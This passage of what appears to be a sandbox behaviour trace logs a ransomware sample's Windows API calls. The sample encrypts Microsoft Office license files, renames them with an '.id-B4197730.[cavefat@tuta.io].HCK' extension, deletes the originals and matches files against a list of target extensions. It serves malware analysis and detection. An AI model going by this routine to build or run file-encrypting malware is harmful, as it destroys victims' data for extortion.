GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 0x220 [0238.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0238.295] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.295] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0238.296] GetLastError () returned 0x0 [0238.296] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x564e, lpOverlapped=0x0) returned 1 [0238.299] WriteFile (in: hFile=0x554, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x5650, lpOverlapped=0x0) returned 1 [0238.300] ReadFile (in: hFile=0x560, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0238.300] WriteFile (in: hFile=0x554, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x118, lpOverlapped=0x0) returned 1 [0238.300] SetEndOfFile (hFile=0x554) returned 1 [0238.300] CloseHandle (hObject=0x554) returned 1 [0238.300] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.300] SetEndOfFile (hFile=0x560) returned 1 [0238.303] CloseHandle (hObject=0x560) returned 1 [0238.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 1 [0238.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0238.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0238.640] lstrlenW (lpString=".doc") returned 4 [0238.640] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.640] lstrlenW (lpString=".docx") returned 5 [0238.640] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.640] lstrlenW (lpString=".pdf") returned 4 [0238.640] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.640] lstrlenW (lpString=".xls") returned 4 [0238.640] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.640] lstrlenW (lpString=".xlsx") returned 5 [0238.640] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.640] lstrlenW (lpString=".ppt") returned 4 [0238.640] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0238.640] lstrlenW (lpString=".zip") returned 4 [0238.640] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.640] lstrlenW (lpString=".rar") returned 4 [0238.640] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.640] lstrlenW (lpString=".bz2") returned 4 [0238.640] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.640] lstrlenW (lpString=".7z") returned 3 [0238.640] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0238.640] lstrlenW (lpString=".dbf") returned 4 [0238.640] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0238.640] lstrlenW (lpString=".1cd") returned 4 [0238.640] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0238.640] lstrlenW (lpString=".jpg") returned 4 [0238.640] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0238.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0238.641] lstrlenW (lpString=".doc") returned 4 [0238.641] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.641] lstrlenW (lpString=".docx") returned 5 [0238.641] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.641] lstrlenW (lpString=".pdf") returned 4 [0238.641] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.641] lstrlenW (lpString=".xls") returned 4 [0238.641] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.641] lstrlenW (lpString=".xlsx") returned 5 [0238.641] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.641] lstrlenW (lpString=".ppt") returned 4 [0238.641] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0238.641] lstrlenW (lpString=".zip") returned 4 [0238.641] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.641] lstrlenW (lpString=".rar") returned 4 [0238.641] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.641] lstrlenW (lpString=".bz2") returned 4 [0238.641] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.641] lstrlenW (lpString=".7z") returned 3 [0238.641] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0238.641] lstrlenW (lpString=".dbf") returned 4 [0238.641] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0238.641] lstrlenW (lpString=".1cd") returned 4 [0238.641] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0238.642] lstrlenW (lpString=".jpg") returned 4 [0238.642] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.642] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.642] lstrlenW (lpString="HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 35 [0238.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0238.643] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11613) returned 1 [0238.643] CloseHandle (hObject=0x454) returned 1 [0238.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 0x220 [0238.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0238.644] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.644] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0238.645] GetLastError () returned 0x0 [0238.645] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2d5d, lpOverlapped=0x0) returned 1 [0238.647] WriteFile (in: hFile=0x570, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2d60, lpOverlapped=0x0) returned 1 [0238.648] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0238.648] WriteFile (in: hFile=0x570, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11a, lpOverlapped=0x0) returned 1 [0238.648] SetEndOfFile (hFile=0x570) returned 1 [0238.648] CloseHandle (hObject=0x570) returned 1 [0238.648] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.648] SetEndOfFile (hFile=0x454) returned 1 [0238.650] CloseHandle (hObject=0x454) returned 1 [0238.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 1 [0238.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0238.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0238.652] lstrlenW (lpString=".doc") returned 4 [0238.652] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.652] lstrlenW (lpString=".docx") returned 5 [0238.652] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.652] lstrlenW (lpString=".pdf") returned 4 [0238.652] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.652] lstrlenW (lpString=".xls") returned 4 [0238.652] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.653] lstrlenW (lpString=".xlsx") returned 5 [0238.653] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.653] lstrlenW (lpString=".ppt") returned 4 [0238.653] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0238.653] lstrlenW (lpString=".zip") returned 4 [0238.653] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.653] lstrlenW (lpString=".rar") returned 4 [0238.653] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.653] lstrlenW (lpString=".bz2") returned 4 [0238.653] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.653] lstrlenW (lpString=".7z") returned 3 [0238.653] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0238.653] lstrlenW (lpString=".dbf") returned 4 [0238.653] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0238.653] lstrlenW (lpString=".1cd") returned 4 [0238.653] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0238.653] lstrlenW (lpString=".jpg") returned 4 [0238.653] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0238.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0238.653] lstrlenW (lpString=".doc") returned 4 [0238.653] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.653] lstrlenW (lpString=".docx") returned 5 [0238.653] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.653] lstrlenW (lpString=".pdf") returned 4 [0238.653] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.653] lstrlenW (lpString=".xls") returned 4 [0238.653] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.653] lstrlenW (lpString=".xlsx") returned 5 [0238.653] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.653] lstrlenW (lpString=".ppt") returned 4 [0238.653] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0238.653] lstrlenW (lpString=".zip") returned 4 [0238.653] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.653] lstrlenW (lpString=".rar") returned 4 [0238.653] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.653] lstrlenW (lpString=".bz2") returned 4 [0238.653] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.653] lstrlenW (lpString=".7z") returned 3 [0238.653] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0238.653] lstrlenW (lpString=".dbf") returned 4 [0238.653] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0238.654] lstrlenW (lpString=".1cd") returned 4 [0238.654] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0238.654] lstrlenW (lpString=".jpg") returned 4 [0238.654] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.654] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.654] lstrlenW (lpString="HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 35 [0238.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0238.655] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=19958) returned 1 [0238.655] CloseHandle (hObject=0x454) returned 1 [0238.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 0x220 [0238.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0238.655] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.655] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0238.656] GetLastError () returned 0x0 [0238.656] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x4df6, lpOverlapped=0x0) returned 1 [0238.658] WriteFile (in: hFile=0x570, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x4e00, lpOverlapped=0x0) returned 1 [0238.659] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0238.659] WriteFile (in: hFile=0x570, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11a, lpOverlapped=0x0) returned 1 [0238.659] SetEndOfFile (hFile=0x570) returned 1 [0238.659] CloseHandle (hObject=0x570) returned 1 [0238.659] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.659] SetEndOfFile (hFile=0x454) returned 1 [0238.665] CloseHandle (hObject=0x454) returned 1 [0238.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 1 [0238.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0238.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0238.666] lstrlenW (lpString=".doc") returned 4 [0238.666] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.666] lstrlenW (lpString=".docx") returned 5 [0238.666] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.666] lstrlenW (lpString=".pdf") returned 4 [0238.666] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.666] lstrlenW (lpString=".xls") returned 4 [0238.666] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.666] lstrlenW (lpString=".xlsx") returned 5 [0238.666] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.666] lstrlenW (lpString=".ppt") returned 4 [0238.666] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0238.666] lstrlenW (lpString=".zip") returned 4 [0238.666] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.666] lstrlenW (lpString=".rar") returned 4 [0238.666] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.667] lstrlenW (lpString=".bz2") returned 4 [0238.667] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.667] lstrlenW (lpString=".7z") returned 3 [0238.667] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0238.667] lstrlenW (lpString=".dbf") returned 4 [0238.667] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0238.667] lstrlenW (lpString=".1cd") returned 4 [0238.667] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0238.667] lstrlenW (lpString=".jpg") returned 4 [0238.667] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0238.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0238.667] lstrlenW (lpString=".doc") returned 4 [0238.667] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.667] lstrlenW (lpString=".docx") returned 5 [0238.667] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.667] lstrlenW (lpString=".pdf") returned 4 [0238.667] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.667] lstrlenW (lpString=".xls") returned 4 [0238.667] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.667] lstrlenW (lpString=".xlsx") returned 5 [0238.667] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.667] lstrlenW (lpString=".ppt") returned 4 [0238.667] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0238.667] lstrlenW (lpString=".zip") returned 4 [0238.667] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.667] lstrlenW (lpString=".rar") returned 4 [0238.667] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.667] lstrlenW (lpString=".bz2") returned 4 [0238.667] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.667] lstrlenW (lpString=".7z") returned 3 [0238.667] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0238.667] lstrlenW (lpString=".dbf") returned 4 [0238.667] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0238.667] lstrlenW (lpString=".1cd") returned 4 [0238.667] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.667] lstrlenW (lpString="C:\\Program Files\\Microsoft 